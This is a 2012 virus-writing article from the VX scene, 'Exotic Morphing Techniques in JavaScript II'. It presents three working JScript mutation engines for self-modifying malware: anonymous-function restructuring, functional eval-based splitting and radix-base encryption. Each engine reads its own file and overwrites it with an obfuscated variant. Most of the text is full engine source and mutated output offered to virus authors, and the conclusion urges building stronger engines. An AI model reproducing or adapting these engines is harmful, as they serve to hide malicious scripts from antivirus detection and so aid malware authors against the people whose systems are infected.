***********************************************
             Exotic Morphing Techniques in JavaScript II  
                                  by Second Part To Hell
            ***********************************************



  0) Introduction

  1) Anonymous Functions

  2) Functional programming paradigm

  3) Radix games

  4) Conclusion





  0) Introduction

     JavaScript is a beautiful language itself, and can be used for computer
     viruses as we all know in a simple way. jackie twoflower wrote the first
     JS polymorphism engine in 2001 (cant find the source - sorry); many years
     ago I have written two texts about that topic [1][2]; there have been
     several unconventional engines in recent years, for example roy g biv's
     [3][4] or hh86's [5] creations.

     In this text I present three different methods. The first methode changes
     the structure by introding anonymous functions for small logical parts
     of the code. The second and third part are novel polymorphic encryption
     engines.

     It seems to be possible to create a real self-recreating ("metamorphic")
     engine in JavaScript - I predict this to come true one fine day :-)





  1) Anonymous Functions

     In 2011, hh86 has shown us a beautiful way to use functions in an
     anonymous way [6]. One can implicitly define variables or arrays as a
     function.

     This mutation engine parses itself, and defines part of the code as
     new anonymous functions or function-arrays:

- - -
for(i=0;i<10;i++)
{
    WScript.Echo('Hello');
    if(i>5) { WScript.Echo('VX'); WScript.Echo('s!'); }
    WScript.Echo(':-)');
}
- - -
     This can be transformed into:
- - -
a=new Array(function(){WScript.Echo('VX');},function(){WScript.Echo('Hello');})
b=function(){WScript.Echo('s!');}
for(i=0;i<10;i++)
{
    a[1]();
    if(i>5) { a[0](); b(); }
    WScript.Echo(':-)');
}
- - -

     or

- - -
a=new Array()(function(){    WScript.Echo('Hello');
    if(i>5) { WScript.Echo('VX'); WScript.Echo('s!'); }},function(){WScript.Echo(':-)');})
for(i=0;i<10;i++)
{
    a[1]();
    a[0]();
}
- - -

     and so on...
     Now the code

- - -
s=function(n){return(String.fromCharCode(n));}

fillit=function(n)
{
    RV='';
    l10=5-Math.log(n)/2.3025;
    for(x=0;x<l10;x++){RV+='0';}
    RV+=n;
    return(RV);
}

randomString=function()
{
    rndString='';
    n=Math.floor(Math.random()*10)+4;
    for(i=0;i<n;i++)
    {
        rndString+=s(Math.floor(Math.random()*26)+97);
    }
    return(rndString);
}

replaceTmpInst=function(TmpCode)
{
    while(TmpCode.search(s(95)+s(64))!=-1)
    {
        posA=TmpCode.search(s(95)+s(64));
        posO=TmpCode.search(s(64)+s(95));
        number=TmpCode.substring(posA+2,posO);
        TmpCode=TmpCode.substring(0,posA)+NewCode[number]+TmpCode.substring(posO+2);
    }
    return(TmpCode);
}


_fso=WScript.CreateObject('Scripting.FileSystemObject');
_code=_fso.OpenTextFile(WScript.ScriptFullName).ReadAll();
WScript.Echo(_code);

ParseInfo=new Array();
InstStart=new Array();
InstStart[0]=0;
InstPointer=0;

while(InstPointer<InstStart.length)
{
    i=InstStart[InstPointer];
    ParseInfo[InstPointer]=new Array();
    ElementPointer=0;
    _numBrak1=1;
    ElementStart=i;
    while(_numBrak1&&i<_code.length)
    {
        if(_code.substr(i,11)=='=new '+'Array'+s(40))
        {
            i+=11;
            _numBrak3=1;
            while(_numBrak3)
            {
                if(_code.substr(i,1)==s(40)) { _numBrak3++; }
                if(_code.substr(i++,1)==s(41)) { _numBrak3--; }
            }
            i++;
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart);            
            ElementStart=i;
        }

        if(_code.substr(i,10)=='=func'+'tion'+s(40))
        {
            i+=10;
            _numBrak3=1;
            while(_numBrak3)
            {
                if(_code.substr(i,1)==s(40)) { _numBrak3++; }
                if(_code.substr(i++,1)==s(41)) { _numBrak3--; }
            }
            while(_code.substr(i++,1)!=s(123))
            {
            }
            _numBrak3=1;
            while(_numBrak3)
            {
                if(_code.substr(i,1)==s(123)) { _numBrak3++; }
                if(_code.substr(i++,1)==s(125)) { _numBrak3--; }
            }
            i++;
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart);
            ElementStart=i;
        }

        if(_code.substr(i,4)==s(102)+s(111)+s(114)+s(40))
        {
            i+=4;
            _numBrak2=1;
            while(_numBrak2)
            {
                if(_code.substr(i,1)==s(40)) { _numBrak2++; }
                if(_code.substr(i++,1)==s(41)) { _numBrak2--; }
            }
        }

        if(_code.substr(i,1)==s(123))
        {
            _numBrak1++;
            InstStart.push(++i);
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart)+s(95)+s(64)+(InstStart.length-1)+s(64)+s(95)+s(125);
            while(_numBrak1>1)
            {
                if(_code.substr(i,1)==s(123)) { _numBrak1++; }
                if(_code.substr(i++,1)==s(125)) { _numBrak1--; }
            }
            ElementStart=i;
        }

        if(_code.substr(i,1)==s(125))
        {
            _numBrak1--;
        }

        if(_code.substr(i,1)==s(59))
        {
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart+1);
            ElementStart=i+1;
        }
        i++;
    }
    InstPointer++;
}


for(i=0; i<ParseInfo.length;i++)
{
    for(j=0;j<ParseInfo[i].length;j++)
    {
    }
}


ReplacedEntries=new Array();
NewCode=new Array();
for(i=0;i<ParseInfo.length;i++)
{
    NewCode[i]='';
    for(j=0;j<ParseInfo[i].length;j++)
    {
        AlreadyDid=0;
        if(Math.floor(Math.random()*3))
        {
            NewCode[i]+=ParseInfo[i][j];AlreadyDid=1;
        }
        if(!AlreadyDid)
        {
            tmpR=Math.floor(Math.random()*(ParseInfo[i].length-j-1));
            ReplacedEntries.push(ParseInfo[i].slice(j,j+tmpR+1).join(''));
            NewCode[i]+='tmp'+'Var'+fillit(ReplacedEntries.length)+s(40)+s(41)+s(59);
            j+=tmpR;
        }
    }
}


NewCode[0]=replaceTmpInst(NewCode[0]);

AnoFuncts=new Array();
AnoNameArr=randomString();
AnoArr=AnoNameArr+'=new'+' Array'+s(40);
ArrCount=0;
for(l=0;l<ReplacedEntries.length;l++)
{
    ReplacedEntries[l]=replaceTmpInst(ReplacedEntries[l]);
    AlreadyDid=0;
    if(Math.floor(Math.random()*3))
    {
        functionString=AnoNameArr+'['+ArrCount++ +']';
        AnoArr+='function'+s(40)+s(41)+s(123)+ReplacedEntries[l]+s(125)+',';
        AlreadyDid=1;
    }
    if(!AlreadyDid)
    {
        functionString=randomString();
        AnoFuncts.push(functionString+'=function'+s(40)+s(41)+s(123)+ReplacedEntries[l]+s(125)+s(59)+s(13)+s(10));
    }

    NewCode[0]=NewCode[0].replace('tmp'+'Var'+fillit(l+1),functionString);
    AnoArr=AnoArr.replace('tmp'+'Var'+fillit(l+1),functionString);
    for(m=0;m<AnoFuncts.length;m++)
    {
        AnoFuncts[m]=AnoFuncts[m].replace('tmp'+'Var'+fillit(l+1),functionString);
    }
    for(m=0;m<ReplacedEntries.length;m++)
    {
        ReplacedEntries[m]=ReplacedEntries[m].replace('tmp'+'Var'+fillit(l+1),functionString);
    }

}


if(AnoArr.substr(AnoArr.length-1)==',')
{
    NewCode[0]=AnoArr.substr(0,AnoArr.length-1)+s(41)+s(59)+s(13)+s(10)+NewCode[0];
}


for(i=0;i<AnoFuncts.length;i++)
{
    NewCode[0]=AnoFuncts[i]+NewCode[0];
}


WScript.Echo(NewCode[0]);
file=_fso.CreateTextFile(WScript.ScriptFullName);file.Write(NewCode[0]);file.close();
- - -

    and one of its later generations, where the code is size-optimized

- - -
djojldonrowxm=function(){vrlbq[0]();};eveymzmvouj=function(){mdtgpmpuvazl=new Array(function(){xyvvo[0]();xqtpr=new Array(function(){xubil=function(){fcS=ANA+'['+ArC++ +']';};aiaymdozllav=function(){hzybixo[0]();};wwnruqtbbj=new Array(function(){yziuvmtpwwbh=function(){fi=function(n){RV='';l10=5-Math.log(n)/2.3025;for(x=0;x<l10;x++){RV+='0';}RV+=n;return(RV);};zxurrtohj();AoF=new Array();ANA=rSt();AoA=ANA+'=new'+' Array'+s(40);};hzybixo=new Array(function(){ NCo[0]=NCo[0].replace('tmp'+'Var'+fi(l+1),fcS);AoA=AoA.replace('tmp'+'Var'+fi(l+1),fcS);for(m=0;m<AoF.length;m++){hzybixo[3]();}},function(){ for(m=0;m<REn.length;m++){hzybixo[4]();}},function(){fcS=rSt();},function(){AoF[m]=AoF[m].replace('tmp'+'Var'+fi(l+1),fcS);},function(){REn[m]=REn[m].replace('tmp'+'Var'+fi(l+1),fcS);});fjjcwcnsm=function(){nB1--;};},function(){jnwznbgkvjhij=function(){ADi=1;};vyikfedxnq=function(){i=ISt[IPo];PIn[IPo]=new Array();EPo=0;nB1=1;ESt=i;while(nB1&&i<cc.length){if(cc.substr(i,11)=='=new '+'Array'+s(40)){roiern[9]();roiern[10]();PIn[IPo][EPo++]=cc.substr(ESt,i-ESt);ESt=i;}if(cc.substr(i,10)=='=func'+'tion'+s(40)){i+=10;nB3=1;while(nB3){if(cc.substr(i,1)==s(40)){nB3++;}if(cc.substr(i++,1)==s(41)){nB3--;}}while(cc.substr(i++,1)!=s(123)){}nB3=1;while(nB3){roiern[19]();qhgmagv();}roiern[11]();PIn[IPo][EPo++]=cc.substr(ESt,i-ESt);ESt=i;}if(cc.substr(i,4)==s(102)+s(111)+s(114)+s(40)){roiern[12]();nB2=1;roiern[13]();}if(cc.substr(i,1)==s(123)){nB1++;lzpdhhozmhmo();roiern[14]();}if(cc.substr(i,1)==s(125)){roiern[15]();}if(cc.substr(i,1)==s(59)){PIn[IPo][EPo++]=cc.substr(ESt,i-ESt+1);ESt=i+1;}roiern[6]();}};zxurrtohj=function(){rSt=function(){rTp='';n=Math.floor(Math.random()*10)+4;for(i=0;i<n;i++){rTp+=s(Math.floor(Math.random()*26)+97);}return(rTp);};rTI=function(TCo){while(TCo.search(s(95)+s(64))!=-1){pA=TCo.search(s(95)+s(64));pO=TCo.search(s(64)+s(95));TCo=TCo.substring(0,pA)+NCo[TCo.substring(pA+2,pO)]+TCo.substring(pO+2);}return(TCo);};fso=WScript.CreateObject('Scripting.FileSystemObject');cc=fso.OpenTextFile(WScript.ScriptFullName).ReadAll();PIn=new Array();ISt=new Array();ISt[0]=0;IPo=0;while(IPo<ISt.length){vyikfedxnq();IPo++;} REn=new Array();NCo=new Array();for(i=0;i<PIn.length;i++){roiern[2]();roiern[3]();} NCo[0]=rTI(NCo[0]);};roiern=new Array(function(){ if(AoA.substr(AoA.length-1)==','){roiern[4]();} for(i=0;i<AoF.length;i++){roiern[5]();} file=fso.CreateTextFile(WScript.ScriptFullName);},function(){file.close();},function(){NCo[i]='';},function(){for(j=0;j<PIn[i].length;j++){ADi=0;if(Math.floor(Math.random()*3)){NCo[i]+=PIn[i][j];ADi=1;}if(!ADi){roiern[16]();j+=tpR;}}},function(){NCo[0]=AoA.substr(0,AoA.length-1)+s(41)+s(59)+NCo[0];},function(){NCo[0]=AoF[i]+NCo[0];},function(){i++;},function(){AoA+='function'+s(40)+s(41)+s(123)+REn[l]+s(125)+',';},function(){AoF.push(fcS+'=function'+s(40)+s(41)+s(123)+REn[l]+s(125)+s(59));},function(){i+=11;nB3=1;while(nB3){roiern[17]();roiern[18]();}},function(){i++;},function(){i++;},function(){i+=4;},function(){while(nB2){if(cc.substr(i,1)==s(40)){nB2++;}roiern[20]();}},function(){ESt=i;},function(){nB1--;},function(){tpR=Math.floor(Math.random()*(PIn[i].length-j-1));REn.push(PIn[i].slice(j,j+tpR+1).join(''));NCo[i]+='tmp'+'Var'+fi(REn.length)+s(40)+s(41)+s(59);},function(){if(cc.substr(i,1)==s(40)){roiern[21]();}},function(){if(cc.substr(i++,1)==s(41)){nB3--;}},function(){if(cc.substr(i,1)==s(123)){nB3++;}},function(){if(cc.substr(i++,1)==s(41)){nB2--;}},function(){nB3++;});s=function(n){return(String.fromCharCode(n));};yziuvmtpwwbh();ArC=0;for(l=0;l<REn.length;l++){wwnruqtbbj[2]();if(Math.floor(Math.random()*3)){xubil();wwnruqtbbj[3]();wwnruqtbbj[4]();}if(!ADi){hzybixo[2]();roiern[8]();}aiaymdozllav();hzybixo[1]();}xtoefknthtltz();},function(){REn[l]=rTI(REn[l]);ADi=0;},function(){roiern[7]();},function(){jnwznbgkvjhij();});xtoefknthtltz=function(){roiern[0]();};wwnruqtbbj[0]();ocyflkcwqv=function(){nB3--;};qhgmagv=function(){if(cc.substr(i++,1)==s(125)){ocyflkcwqv();}};lzpdhhozmhmo=function(){ISt.push(++i);PIn[IPo][EPo++]=cc.substr(ESt,i-ESt)+s(95)+s(64)+(ISt.length-1)+s(64)+s(95)+s(125);while(nB1>1){if(cc.substr(i,1)==s(123)){ nB1++;}if(cc.substr(i++,1)==s(125)){fjjcwcnsm();}}};wwnruqtbbj[1]();});});xyvvo=new Array(function(){vrlbq=new Array(function(){roiern[1]();});acqv=new Array(function(){xqtpr[0]();file.Write(NCo[0]);});});mdtgpmpuvazl[0]();acqv[0]();};eveymzmvouj();djojldonrowxm();
- - -







  2) Functional programming paradigm

     Functional coding style, where the program consists of functions only.
     It it used for several computational-learning projects, and it has some
     advantage for calculation recursive defined functions such as the
     factorial. (See my text about infection of F# files as an example [7])

     This paradigm can be used for a mutation engine too. In my example, the
     code is executed via 'eval', and the code is created by several
     function calls. For example:


- - -
WScript.Echo("Hello VXers!");
- - -

     can be written as

- - -
function ojcdq(){return('W')}
function tzcpzbnwhtg(){return('Sc'+'rip'+'t')}
function wcvuwwmtz(){return('("')}
function wtjuexpfx(){return(wcvuwwmtz()+'He')}
function ulungrnk(){return(''+'ho'+wtjuexpfx())}
function lprsoom(){return('Xe')}
function wyzqqqw(){return(lprsoom()+'r')}
function nkwfmavxxuxl(){return(wyzqqqw()+'s!')}
function xvqdwuu(){return('')}
eval(ojcdq()+tzcpzbnwhtg()+'.Ec'+ulungrnk()+'llo'+' V'+nkwfmavxxuxl()+'")'+';'+xvqdwuu());
- - -

     After 2-3 few generations, the code is absolutly unreadable. See the engine:

- - -
function randomName(){rv="";tmp=Math.random()*10+3;for(j=0;j<tmp;j++){rv+=String.fromCharCode(Math.floor(Math.random()*26+97));}return(rv)}
function sortNumber(a,b){return(a-b)}

function func(str)
{
    a=new Array(0,str.length);
    for(i=0;i<Math.floor(str.length/15);i++)
    {
        a.push(Math.floor(Math.random()*(str.length+1)));
    }
    a=a.sort(sortNumber);

    newcode="";
    for(i=0;i<(a.length-1);i++)
    {
        if(Math.random()>0.7)
        {
            newfnames.push(randomName());
            newfuncts.push(str.substring(a[i],a[i+1]));
            newcode+=newfnames[newfnames.length-1]+"()+";
        }
        else
        {
            newcode+=String.fromCharCode(89)+str.substring(a[i],a[i+1])+String.fromCharCode(89)+"+";
        }
    }
    return(newcode.substr(0,newcode.length-1));
}

fso=WScript.CreateObject("Scripting.FileSystemObject");
code=fso.opentextfile(WScript.scriptfullname).readall();
newfuncts=new Array();
newfnames=new Array();

allcode="eval("+func(code)+");";
while(newfuncts.length)
{
    allcode="function "+newfnames.pop()+"(){return("+func(newfuncts.pop())+")}"+allcode;
}
while(allcode.lastIndexOf(String.fromCharCode(39))!=-1)
{
    allcode=allcode.replace(String.fromCharCode(39),String.fromCharCode(89)+"+String.fromCharCode(39)+"+String.fromCharCode(89))
}
while(allcode.lastIndexOf(String.fromCharCode(89))!=-1)
{
    allcode=allcode.replace(String.fromCharCode(89),String.fromCharCode(39))
}
WScript.Echo(allcode);
file=fso.CreateTextFile(WScript.scriptfullname);file.Write(allcode);file.close();
- - -

    You have to remove line-breaks to get it working.





  3) Radix games

     This idea is encryption based on different base-systems, such as binary,
     decimal, hexadecimal. JavaScript provides a function that transforms
     numbers to different base-systems (parseInt(m,r)).

     The idea comes from hh86, i just put together the code :) The engine
     is very simple, yet the outcome is pretty beautiful:

- - -
function d(m,r){return(String.fromCharCode(parseInt(m,r)));}

c=String.fromCharCode(34);
v="ns='s=new Array(';no='o=new Array("+c+"';for (i=0;i<v.length;i++){n=Math.round(Math.random()*100)*65536+v.charCodeAt(i);r=Math.round(Math.random()*33)+2;m=(n).toString(r);if(i){ns+=',';no+='"+c+","+c+"';}ns+=r;no+=m;}";
v+="nv='function d(m,r){return(String.fromCharCode(parseInt(m,r)));}'+ns+');'+no+'"+c+");v="+c+c+";for(i=0;i<o.length;i++){v+=d(o[i],s[i])};eval(v);';WScript.Echo(nv);var fso=WScript.CreateObject("+c+"Scripting.FileSystemObject"+c+");file=fso.CreateTextFile("+c+"ng.js"+c+");file.Write(nv);file.close()";
s=new Array()
o=new Array()
for(i=0;i<v.length;i++)
{
  s.push(10);
  o.push(""+v.charCodeAt(i));
}

ns='s=new Array(';no='o=new Array("';for (i=0;i<v.length;i++){n=Math.round(Math.random()*100)*65536+v.charCodeAt(i);r=Math.round(Math.random()*33)+2;m=(n).toString(r);if(i){ns+=',';no+='","';}ns+=r;no+=m;}
nv='function d(m,r){return(String.fromCharCode(parseInt(m,r)));}'+ns+');'+no+'");v="";for(i=0;i<o.length;i++){v+=d(o[i],s[i])};eval(v);';
WScript.Echo(nv);var fso=WScript.CreateObject("Scripting.FileSystemObject");file=fso.CreateTextFile("ng.js");file.Write(nv);file.close()
- - -

    One mutated file might look like this

- - -
function d(m,r){return(String.fromCharCode(parseInt(m,r)));}s=new Array(20,25,12,27,24,14,26,21,19,35,26,20,5,16,13,11,19,23,17,33,4,16,12,28,13,24,20,33,29,9,4,17,14,22,14,15,14,27,21,15,30,13,28,27,9,26,21,23,35,19,9,26,20,2,14,8,21,8,24,30,31,12,11,21,21,24,18,3,12,25,28,12,14,32,6,6,7,23,8,24,24,34,27,8,11,17,3,25,19,3,25,3,23,17,33,15,22,21,28,16,23,25,15,31,24,29,23,17,26,8,31,8,14,27,24,17,29,23,26,27,13,5,9,20,24,34,23,20,15,34,11,12,20,12,29,33,7,19,15,7,20,8,24,11,31,10,6,32,6,4,10,5,11,7,26,8,26,23,9,5,8,27,13,24,35,12,19,26,27,3,16,17,21,25,21,19,22,27,28,13,16,10,12,4,21,11,26,26,13,3,17,27,12,19,27,6,21,9,35,9,23,11,21,29,9,7,23,11,19,30,19,7,28,34,18,28,5,6,13,10,29,28,32,7,4,23,16,4,8,16,12,15,4,14,7,34,29,27,13,3,32,22,5,30,8,20,32,24,11,5,5,14,30,32,22,6,13,23,3,4,31,17,6,18,10,33,31,18,22,23,26,21,3,30,7,7,35,3,4,16,24,27,26,20,13,4,33,3,20,17,35,5,24,13,9,14,33,11,18,29,16,10,34,15,3,17,29,12,34,24,23,19,34,3,34,15,11,29,14,2,11,28,7,27,9,27,20,24,14,25,23,25,19,21,11,30,26,24,20,16,34,4,7,17,25,18,15,29,14,31,10,9,7,10,20,26,27,19,27,9,3,32,25,15,12,18,19,18,10,14,33,25,25,17,33,32,31,24,3,20,33,20,18,9,22,27,10,31,25,24,8,10,11,5,15,4,8,33,10,16,34,12,17,28,20,3,26,9,3,14,12,7,23,28,22,7,23,26,4,22,20,31,20,24,14,15,27,32,11,12,10,15,10,16,10,33,12,8,22,17,28,28,26,19,12,25,8,5,22,19,16,5,23,22,22,15,4,4,27,18,11,22,16,14,6,9,32,15,3,31,23,31,24,3,27,4,22,21);o=new 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- - -





  4) Conclusion

     JavaScript allows many kind of mutation engines. Obviously much stronger
     engines would be possible. We should work on this some day! :-)



                                                          Second Part To Hell
                                                                 January 2012




[1] SPTH, "Polymorphism in JavaScript", in rRlf#4, August 2003 (http://vxheavens.com/lib/vsp02.html).
[2] SPTH, "Exotic Morphing Techniques In JavaScript", in rRlf#4, October 2003 (http://vxheavens.com/lib/vsp03.html).
[3] roy g biv, "Self-crypting script files", in 29a#7, Februar 2003.
[4] roy g biv, "Polymorphism using the Microsoft Script Encoder", rRlf#7, March 2006 (http://vx.netlux.org/lib/vrg06.html).
[5] hh86, "I Err.Raise, you fall", in Valhalla#1, August 2011 (http://vxheavens.com/lib/vhh06.html).
[6] hh86, "Function Me", in Valhalla#1, August 2011 (http://vxheavens.com/lib/vhh04.html).
[7] SPTH, "A brief viral Introduction into F#", in rRlf#7, July 2006 (http://vxheavens.com/lib/vsp30.html).